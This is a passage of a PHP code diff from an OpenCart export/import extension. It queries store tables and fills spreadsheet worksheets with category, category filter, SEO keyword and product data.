+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'meta_title('.$language['code'].')';
+ }
+ }
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'meta_description('.$language['code'].')';
+ }
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'meta_keywords('.$language['code'].')';
+ }
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'store_ids';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'layout';
+ $data[$j++] = 'status';
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual categories data
+ $i += 1;
+ $j = 1;
+ $store_ids = $this->getStoreIdsForCategories();
+ $layouts = $this->getLayoutsForCategories();
+ $categories = $this->getCategories( $languages, $exist_meta_title, $exist_seo_url_table, $offset, $rows, $min_id, $max_id );
+ $len = count($categories);
+ $min_id = ($len>0) ? $categories[0]['category_id'] : 0;
+ $max_id = ($len>0) ? $categories[$len-1]['category_id'] : 0;
+ foreach ($categories as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(26);
+ $data = array();
+ $data[$j++] = $row['category_id'];
+ $data[$j++] = $row['parent_id'];
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['name'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ $data[$j++] = ($row['top']==0) ? "false" : "true";
+ $data[$j++] = $row['column'];
+ $data[$j++] = $row['sort_order'];
+ $data[$j++] = $row['image'];
+ $data[$j++] = $row['date_added'];
+ $data[$j++] = $row['date_modified'];
+ if (!$exist_seo_url_table) {
+ $data[$j++] = $row['keyword'];
+ }
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['description'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ if ($exist_meta_title) {
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['meta_title'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ }
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['meta_description'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['meta_keyword'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ $store_id_list = '';
+ $category_id = $row['category_id'];
+ if (isset($store_ids[$category_id])) {
+ foreach ($store_ids[$category_id] as $store_id) {
+ $store_id_list .= ($store_id_list=='') ? $store_id : ','.$store_id;
+ }
+ }
+ $data[$j++] = $store_id_list;
+ $layout_list = '';
+ if (isset($layouts[$category_id])) {
+ foreach ($layouts[$category_id] as $store_id => $name) {
+ $layout_list .= ($layout_list=='') ? $store_id.':'.$name : ','.$store_id.':'.$name;
+ }
+ }
+ $data[$j++] = $layout_list;
+ $data[$j++] = ($row['status']==0) ? 'false' : 'true';
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getFilterGroupNames( $language_id ) {
+ $sql = "SELECT filter_group_id, name ";
+ $sql .= "FROM `".DB_PREFIX."filter_group_description` ";
+ $sql .= "WHERE language_id='".(int)$language_id."' ";
+ $sql .= "ORDER BY filter_group_id ASC";
+ $query = $this->db->query( $sql );
+ $filter_group_names = array();
+ foreach ($query->rows as $row) {
+ $filter_group_id = $row['filter_group_id'];
+ $name = $row['name'];
+ $filter_group_names[$filter_group_id] = $name;
+ }
+ return $filter_group_names;
+ }
+
+
+ protected function getFilterNames( $language_id ) {
+ $sql = "SELECT filter_id, name ";
+ $sql .= "FROM `".DB_PREFIX."filter_description` ";
+ $sql .= "WHERE language_id='".(int)$language_id."' ";
+ $sql .= "ORDER BY filter_id ASC";
+ $query = $this->db->query( $sql );
+ $filter_names = array();
+ foreach ($query->rows as $row) {
+ $filter_id = $row['filter_id'];
+ $filter_name = $row['name'];
+ $filter_names[$filter_id] = $filter_name;
+ }
+ return $filter_names;
+ }
+
+
+ protected function getCategoryFilters( $min_id, $max_id ) {
+ $sql = "SELECT cf.category_id, fg.filter_group_id, cf.filter_id ";
+ $sql .= "FROM `".DB_PREFIX."category_filter` cf ";
+ $sql .= "INNER JOIN `".DB_PREFIX."filter` f ON f.filter_id=cf.filter_id ";
+ $sql .= "INNER JOIN `".DB_PREFIX."filter_group` fg ON fg.filter_group_id=f.filter_group_id ";
+ if (isset($min_id) && isset($max_id)) {
+ $sql .= "WHERE category_id BETWEEN $min_id AND $max_id ";
+ }
+ $sql .= "ORDER BY cf.category_id ASC, fg.filter_group_id ASC, cf.filter_id ASC";
+ $query = $this->db->query( $sql );
+ $category_filters = array();
+ foreach ($query->rows as $row) {
+ $category_filter = array();
+ $category_filter['category_id'] = $row['category_id'];
+ $category_filter['filter_group_id'] = $row['filter_group_id'];
+ $category_filter['filter_id'] = $row['filter_id'];
+ $category_filters[] = $category_filter;
+ }
+ return $category_filters;
+ }
+
+
+ protected function populateCategoryFiltersWorksheet( &$worksheet, &$languages, $default_language_id, &$box_format, &$text_format, $min_id=null, $max_id=null ) {
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('category_id')+1);
+ if ($this->config->get( 'export_import_settings_use_filter_group_id' )) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('filter_group_id')+1);
+ } else {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('filter_group'),30)+1);
+ }
+ if ($this->config->get( 'export_import_settings_use_filter_id' )) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('filter_id')+1);
+ } else {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('filter'),30)+1);
+ }
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('text')+4,30)+1);
+ }
+
+ // The heading row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'category_id';
+ if ($this->config->get( 'export_import_settings_use_filter_group_id' )) {
+ $data[$j++] = 'filter_group_id';
+ } else {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'filter_group';
+ }
+ if ($this->config->get( 'export_import_settings_use_filter_id' )) {
+ $data[$j++] = 'filter_id';
+ } else {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'filter';
+ }
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual category filters data
+ if (!$this->config->get( 'export_import_settings_use_filter_group_id' )) {
+ $filter_group_names = $this->getFilterGroupNames( $default_language_id );
+ }
+ if (!$this->config->get( 'export_import_settings_use_filter_id' )) {
+ $filter_names = $this->getFilterNames( $default_language_id );
+ }
+ $i += 1;
+ $j = 1;
+ $category_filters = $this->getCategoryFilters( $min_id, $max_id );
+ foreach ($category_filters as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data = array();
+ $data[$j++] = $row['category_id'];
+ if ($this->config->get( 'export_import_settings_use_filter_group_id' )) {
+ $data[$j++] = $row['filter_group_id'];
+ } else {
+ $data[$j++] = html_entity_decode($filter_group_names[$row['filter_group_id']],ENT_QUOTES,'UTF-8');
+ }
+ if ($this->config->get( 'export_import_settings_use_filter_id' )) {
+ $data[$j++] = $row['filter_id'];
+ } else {
+ $data[$j++] = html_entity_decode($filter_names[$row['filter_id']],ENT_QUOTES,'UTF-8');
+ }
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getCategorySEOKeywords( &$languages, $min_id, $max_id ) {
+ $sql = "SELECT * FROM `".DB_PREFIX."seo_url` ";
+ $sql .= "WHERE query LIKE 'category_id=%' AND ";
+ $sql .= "CAST(SUBSTRING(query FROM 13) AS UNSIGNED INTEGER) >= '".(int)$min_id."' AND ";
+ $sql .= "CAST(SUBSTRING(query FROM 13) AS UNSIGNED INTEGER) <= '".(int)$max_id."' ";
+ $sql .= "ORDER BY CAST(SUBSTRING(query FROM 13) AS UNSIGNED INTEGER), store_id, language_id";
+ $query = $this->db->query( $sql );
+ $seo_keywords = array();
+ foreach ($query->rows as $row) {
+ $category_id = (int)substr($row['query'],12);
+ $store_id = (int)$row['store_id'];
+ $language_id = (int)$row['language_id'];
+ if (!isset($seo_keywords[$category_id])) {
+ $seo_keywords[$category_id] = array();
+ }
+ if (!isset($seo_keywords[$category_id][$store_id])) {
+ $seo_keywords[$category_id][$store_id] = array();
+ }
+ $seo_keywords[$category_id][$store_id][$language_id] = $row['keyword'];
+ }
+ $results = array();
+ foreach ($seo_keywords as $category_id=>$val1) {
+ foreach ($val1 as $store_id=>$val2) {
+ $keyword = array();
+ foreach ($languages as $language) {
+ $language_id = $language['language_id'];
+ $language_code = $language['code'];
+ $keyword[$language_code] = isset($val2[$language_id]) ? $val2[$language_id] : '';
+ }
+ $results[] = array(
+ 'category_id' => $category_id,
+ 'store_id' => $store_id,
+ 'keyword' => $keyword
+ );
+ }
+ }
+ return $results;
+ }
+
+
+ protected function populateCategorySEOKeywordsWorksheet( &$worksheet, &$languages, &$box_format, &$text_format, $min_id=null, $max_id=null ) {
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('category_id')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('store_id')+1);
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('keyword')+4,30)+1);
+ }
+
+ // The heading row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'category_id';
+ $data[$j++] = 'store_id';
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'keyword('.$language['code'].')';
+ }
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual category SEO keywords data
+ $i += 1;
+ $j = 1;
+ $category_seo_keywords = $this->getCategorySEOKeywords( $languages, $min_id, $max_id );
+ foreach ($category_seo_keywords as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(26);
+ $data = array();
+ $data[$j++] = $row['category_id'];
+ $data[$j++] = $row['store_id'];
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['keyword'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getStoreIdsForProducts() {
+ $sql = "SELECT product_id, store_id FROM `".DB_PREFIX."product_to_store` ps;";
+ $store_ids = array();
+ $result = $this->db->query( $sql );
+ foreach ($result->rows as $row) {
+ $productId = $row['product_id'];
+ $store_id = $row['store_id'];
+ if (!isset($store_ids[$productId])) {
+ $store_ids[$productId] = array();
+ }
+ if (!in_array($store_id,$store_ids[$productId])) {
+ $store_ids[$productId][] = $store_id;
+ }
+ }
+ return $store_ids;
+ }
+
+
+ protected function getLayoutsForProducts() {
+ $sql = "SELECT pl.*, l.name FROM `".DB_PREFIX."product_to_layout` pl ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."layout` l ON pl.layout_id = l.layout_id ";
+ $sql .= "ORDER BY pl.product_id, pl.store_id;";
+ $result = $this->db->query( $sql );
+ $layouts = array();
+ foreach ($result->rows as $row) {
+ $productId = $row['product_id'];
+ $store_id = $row['store_id'];
+ $name = $row['name'];
+ if (!isset($layouts[$productId])) {
+ $layouts[$productId] = array();
+ }
+ $layouts[$productId][$store_id] = $name;
+ }
+ return $layouts;
+ }
+
+
+ protected function getProductDescriptions( &$languages, $offset=null, $rows=null, $min_id=null, $max_id=null ) {
+ // some older versions of OpenCart use the 'product_tag' table
+ $exist_table_product_tag = false;
+ $query = $this->db->query( "SHOW TABLES LIKE '".DB_PREFIX."product_tag'" );
+ $exist_table_product_tag = ($query->num_rows > 0);
+
+ // query the product_description table for each language
+ $product_descriptions = array();
+ foreach ($languages as $language) {
+ $language_id = $language['language_id'];
+ $language_code = $language['code'];
+ $sql = "SELECT p.product_id, ".(($exist_table_product_tag) ? "GROUP_CONCAT(pt.tag SEPARATOR \",\") AS tag, " : "")."pd.* ";
+ $sql .= "FROM `".DB_PREFIX."product` p ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."product_description` pd ON pd.product_id=p.product_id AND pd.language_id='".(int)$language_id."' ";
+ if ($exist_table_product_tag) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product_tag` pt ON pt.product_id=p.product_id AND pt.language_id='".(int)$language_id."' ";
+ }
+ if ($this->posted_categories) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product_to_category` pc ON pc.product_id=p.product_id ";
+ }
+ if (isset($min_id) && isset($max_id)) {
+ $sql .= "WHERE p.product_id BETWEEN $min_id AND $max_id ";
+ if ($this->posted_categories) {
+ $sql .= "AND pc.category_id IN ".$this->posted_categories." ";
+ }
+ } else if ($this->posted_categories) {
+ $sql .= "WHERE pc.category_id IN ".$this->posted_categories." ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= (strpos($sql," WHERE ",0)===false) ? "WHERE " : "AND ";
+ $sql .= "p.manufacturer_id IN ".$this->posted_manufacturers." ";
+ }
+ $sql .= "GROUP BY p.product_id ";
+ $sql .= "ORDER BY p.product_id ";
+ if (isset($offset) && isset($rows)) {
+ $sql .= "LIMIT $offset,$rows; ";
+ } else {
+ $sql .= "; ";
+ }
+ $query = $this->db->query( $sql );
+ $product_descriptions[$language_code] = $query->rows;
+ }
+ return $product_descriptions;
+ }
+
+
+ protected function getProducts( &$languages, $default_language_id, $product_fields, $exist_meta_title, $exist_seo_url_table, $offset=null, $rows=null, $min_id=null, $max_id=null ) {
+ $sql = "SELECT ";
+ $sql .= " p.product_id,";
+ $sql .= " GROUP_CONCAT( DISTINCT CAST(pc.category_id AS CHAR(11)) SEPARATOR \",\" ) AS categories,";
+ $sql .= " p.sku,";
+ $sql .= " p.upc,";
+ if (in_array( 'ean', $product_fields )) {
+ $sql .= " p.ean,";
+ }
+ if (in_array('jan',$product_fields)) {
+ $sql .= " p.jan,";
+ }
+ if (in_array('isbn',$product_fields)) {
+ $sql .= " p.isbn,";
+ }
+ if (in_array('mpn',$product_fields)) {
+ $sql .= " p.mpn,";
+ }
+ $sql .= " p.location,";
+ $sql .= " p.quantity,";
+ $sql .= " p.model,";
+ $sql .= " m.name AS manufacturer,";
+ $sql .= " p.image AS image_name,";
+ $sql .= " p.shipping,";
+ $sql .= " p.price,";
+ $sql .= " p.price_2,";
+ $sql .= " p.price_3,";
+ $sql .= " p.points,";
+ $sql .= " p.date_added,";
+ $sql .= " p.date_modified,";
+ $sql .= " p.date_available,";
+ $sql .= " p.weight,";
+ $sql .= " wc.unit AS weight_unit,";
+ $sql .= " p.length,";
+ $sql .= " p.width,";
+ $sql .= " p.height,";
+ $sql .= " p.status,";
+ $sql .= " p.tax_class_id,";
+ $sql .= " p.sort_order,";
+ if (!$exist_seo_url_table) {
+ $sql .= " ua.keyword,";
+ }
+ $sql .= " p.stock_status_id, ";
+ $sql .= " mc.unit AS length_unit, ";
+ $sql .= " p.subtract, ";
+ $sql .= " p.minimum, ";
+ $sql .= " GROUP_CONCAT( DISTINCT CAST(pr.related_id AS CHAR(11)) SEPARATOR \",\" ) AS related ";
+ $sql .= "FROM `".DB_PREFIX."product` p ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."product_to_category` pc ON p.product_id=pc.product_id ";
+ if ($this->posted_categories) {
+ $sql .= " LEFT JOIN `".DB_PREFIX."product_to_category` pc2 ON p.product_id=pc2.product_id ";
+ }
+ if (!$exist_seo_url_table) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."url_alias` ua ON ua.query=CONCAT('product_id=',p.product_id) ";
+ }
+ $sql .= "LEFT JOIN `".DB_PREFIX."manufacturer` m ON m.manufacturer_id = p.manufacturer_id ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."weight_class_description` wc ON wc.weight_class_id = p.weight_class_id ";
+ $sql .= " AND wc.language_id=$default_language_id ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."length_class_description` mc ON mc.length_class_id=p.length_class_id ";
+ $sql .= " AND mc.language_id=$default_language_id ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."product_related` pr ON pr.product_id=p.product_id ";
+ if (isset($min_id) && isset($max_id)) {
+ $sql .= "WHERE p.product_id BETWEEN $min_id AND $max_id ";
+ if ($this->posted_categories) {
+ $sql .= "AND pc2.category_id IN ".$this->posted_categories." ";
+ }
+ } else if ($this->posted_categories) {
+ $sql .= "WHERE pc2.category_id IN ".$this->posted_categories." ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= (strpos($sql," WHERE ",0)===false) ? "WHERE " : "AND ";
+ $sql .= "p.manufacturer_id IN ".$this->posted_manufacturers." ";
+ }
+ $sql .= "GROUP BY p.product_id ";
+ $sql .= "ORDER BY p.product_id ";
+ if (isset($offset) && isset($rows)) {
+ $sql .= "LIMIT $offset,$rows; ";
+ } else {
+ $sql .= "; ";
+ }
+ $results = $this->db->query( $sql );
+ $product_descriptions = $this->getProductDescriptions( $languages, $offset, $rows, $min_id, $max_id );
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ foreach ($results->rows as $key=>$row) {
+ if (isset($product_descriptions[$language_code][$key])) {
+ $results->rows[$key]['name'][$language_code] = $product_descriptions[$language_code][$key]['name'];
+ $results->rows[$key]['description'][$language_code] = $product_descriptions[$language_code][$key]['description'];
+ if ($exist_meta_title) {
+ $results->rows[$key]['meta_title'][$language_code] = $product_descriptions[$language_code][$key]['meta_title'];
+ }
+ $results->rows[$key]['meta_description'][$language_code] = $product_descriptions[$language_code][$key]['meta_description'];
+ $results->rows[$key]['meta_keyword'][$language_code] = $product_descriptions[$language_code][$key]['meta_keyword'];
+ $results->rows[$key]['tag'][$language_code] = $product_descriptions[$language_code][$key]['tag'];
+ } else {
+ $results->rows[$key]['name'][$language_code] = '';
+ $results->rows[$key]['description'][$language_code] = '';
+ if ($exist_meta_title) {
+ $results->rows[$key]['meta_title'][$language_code] = '';
+ }
+ $results->rows[$key]['meta_description'][$language_code] = '';
+ $results->rows[$key]['meta_keyword'][$language_code] = '';
+ $results->rows[$key]['tag'][$language_code] = '';
+ }
+ }
+ }
+ return $results->rows;
+ }
+
+
+ protected function populateProductsWorksheet( &$worksheet, &$languages, $default_language_id, &$price_format, &$box_format, &$weight_format, &$text_format, $offset=null, $rows=null, &$min_id=null, &$max_id=null) {
+ // get list of the field names, some are only available for certain OpenCart versions
+ $query = $this->db->query( "DESCRIBE `".DB_PREFIX."product`" );
+ $product_fields = array();
+ foreach ($query->rows as $row) {
+ $product_fields[] = $row['Field'];
+ }
+
+ // Opencart versions from 2.0 onwards also have product_description.meta_title
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."product_description` LIKE 'meta_title'";
+ $query = $this->db->query( $sql );
+ $exist_meta_title = ($query->num_rows > 0) ? true : false;
+
+ // Opencart versions from 3.0 onwards use the seo_url DB table
+ $exist_seo_url_table = $this->use_table_seo_url;
+
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('product_id'),4)+1);
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('name')+4,30)+1);
+ }
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('categories'),12)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('sku'),10)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('upc'),12)+1);
+ if (in_array('ean',$product_fields)) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('ean'),14)+1);
+ }
+ if (in_array('jan',$product_fields)) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('jan'),13)+1);
+ }
+ if (in_array('isbn',$product_fields)) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('isbn'),13)+1);
+ }
+ if (in_array('mpn',$product_fields)) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('mpn'),15)+1);
+ }
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('location'),10)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('quantity'),4)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('model'),8)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('manufacturer'),10)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('image_name'),12)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('shipping'),5)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('price'),10)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('price_2'),10)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('price_3'),10)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('points'),5)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_added'),19)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_modified'),19)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_available'),10)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('weight'),6)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('weight_unit'),3)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('length'),8)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('width'),8)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('height'),8)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('length_unit'),3)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('status'),5)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('tax_class_id'),2)+1);
+ if (!$exist_seo_url_table) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('seo_keyword'),16)+1);
+ }
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('description')+4,32)+1);
+ }
+ if ($exist_meta_title) {
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('meta_title')+4,20)+1);
+ }
+ }
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('meta_description')+4,32)+1);
+ }
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('meta_keywords')+4,32)+1);
+ }
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('stock_status_id'),3)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('store_ids'),16)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('layout'),16)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('related_ids'),16)+1);
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('tags')+4,32)+1);
+ }
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('sort_order'),8)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('subtract'),5)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('minimum'),8)+1);
+
+ // The product headings row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'product_id';
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'name('.$language['code'].')';
+ }
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'categories';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'sku';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'upc';
+ if (in_array('ean',$product_fields)) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'ean';
+ }
+ if (in_array('jan',$product_fields)) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'jan';
+ }
+ if (in_array('isbn',$product_fields)) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'isbn';
+ }
+ if (in_array('mpn',$product_fields)) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'mpn';
+ }
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'location';
+ $data[$j++] = 'quantity';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'model';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'manufacturer';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'image_name';
+ $data[$j++] = 'shipping';
+ $styles[$j] = &$price_format;
+ $data[$j++] = 'price';
+ $data[$j++] = 'price_2';
+ $data[$j++] = 'price_3';
+ $data[$j++] = 'points';
+ $data[$j++] = 'date_added';
+ $data[$j++] = 'date_modified';
+ $data[$j++] = 'date_available';
+ $styles[$j] = &$weight_format;
+ $data[$j++] = 'weight';
+ $data[$j++] = 'weight_unit';
+ $data[$j++] = 'length';
+ $data[$j++] = 'width';
+ $data[$j++] = 'height';
+ $data[$j++] = 'length_unit';
+ $data[$j++] = 'status';
+ $data[$j++] = 'tax_class_id';
+ if (!$exist_seo_url_table) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'seo_keyword';
+ }
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'description('.$language['code'].')';
+ }
+ if ($exist_meta_title) {
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'meta_title('.$language['code'].')';
+ }
+ }
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'meta_description('.$language['code'].')';
+ }
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'meta_keywords('.$language['code'].')';
+ }
+ $data[$j++] = 'stock_status_id';
+ $data[$j++] = 'store_ids';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'layout';
+ $data[$j++] = 'related_ids';
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'tags('.$language['code'].')';
+ }
+ $data[$j++] = 'sort_order';
+ $data[$j++] = 'subtract';
+ $data[$j++] = 'minimum';
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual products data
+ $i += 1;
+ $j = 1;
+ $store_ids = $this->getStoreIdsForProducts();
+ $layouts = $this->getLayoutsForProducts();
+ $products = $this->getProducts( $languages, $default_language_id, $product_fields, $exist_meta_title, $exist_seo_url_table, $offset, $rows, $min_id, $max_id );
+ $len = count($products);
+ $min_id = ($len>0) ? $products[0]['product_id'] : 0;
+ $max_id = ($len>0) ? $products[$len-1]['product_id'] : 0;
+ foreach ($products as $row) {
+ $data = array();
+ $worksheet->getRowDimension($i)->setRowHeight(26);
+ $product_id = $row['product_id'];
+ $data[$j++] = $product_id;
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['name'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ $data[$j++] = $row['categories'];
+ $data[$j++] = $row['sku'];
+ $data[$j++] = $row['upc'];
+ if (in_array('ean',$product_fields)) {
+ $data[$j++] = $row['ean'];
+ }
+ if (in_array('jan',$product_fields)) {
+ $data[$j++] = $row['jan'];
+ }
+ if (in_array('isbn',$product_fields)) {
+ $data[$j++] = $row['isbn'];
+ }
+ if (in_array('mpn',$product_fields)) {
+ $data[$j++] = $row['mpn'];
+ }
+ $data[$j++] = $row['location'];
+ $data[$j++] = $row['quantity'];
+ $data[$j++] = $row['model'];
+ $data[$j++] = $row['manufacturer'];
+ $data[$j++] = $row['image_name'];
+ $data[$j++] = ($row['shipping']==0) ? 'no' : 'yes';
+ $data[$j++] = $row['price'];
+ $data[$j++] = $row['price_2'];
+ $data[$j++] = $row['price_3'];
+ $data[$j++] = $row['points'];
+ $data[$j++] = $row['date_added'];
+ $data[$j++] = $row['date_modified'];
+ $data[$j++] = $row['date_available'];
+ $data[$j++] = $row['weight'];
+ $data[$j++] = $row['weight_unit'];
+ $data[$j++] = $row['length'];
+ $data[$j++] = $row['width'];
+ $data[$j++] = $row['height'];
+ $data[$j++] = $row['length_unit'];
+ $data[$j++] = ($row['status']==0) ? 'false' : 'true';
+ $data[$j++] = $row['tax_class_id'];
+ if (!$exist_seo_url_table) {
+ $data[$j++] = ($row['keyword']) ? $row['keyword'] : '';
+ }
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['description'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ if ($exist_meta_title) {
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['meta_title'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ }
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['meta_description'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['meta_keyword'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ $data[$j++] = $row['stock_status_id'];
+ $store_id_list = '';
+ if (isset($store_ids[$product_id])) {
+ foreach ($store_ids[$product_id] as $store_id) {
+ $store_id_list .= ($store_id_list=='') ? $store_id : ','.$store_id;
+ }
+ }
